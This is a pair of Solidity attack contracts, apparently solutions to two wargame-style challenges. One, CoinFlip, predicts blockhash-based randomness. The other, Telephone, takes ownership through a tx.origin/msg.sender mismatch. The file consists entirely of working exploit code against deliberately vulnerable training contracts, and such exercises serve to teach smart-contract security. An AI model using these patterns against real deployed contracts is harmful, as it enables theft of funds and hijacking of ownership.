CoinFlip

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract HackCoinflip {
    ICoinFlip public coinFlip;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    bool result;

    constructor(address _coinFlip) {
        coinFlip = ICoinFlip(_coinFlip);
    }

    function flipCall() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 flip = blockValue / FACTOR;
        bool side = flip == 1;

        result = coinFlip.flip(side);
        require(result);
    }

    function getResult() public view returns(bool) { 
        return result;
    }
}

Telephone

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract HackTelephone {
    ITelephone telephone;

    constructor(address _telephone) {
        telephone = ITelephone(_telephone);
    }

    function changeOwner() public {
        telephone.changeOwner(msg.sender);
    }
}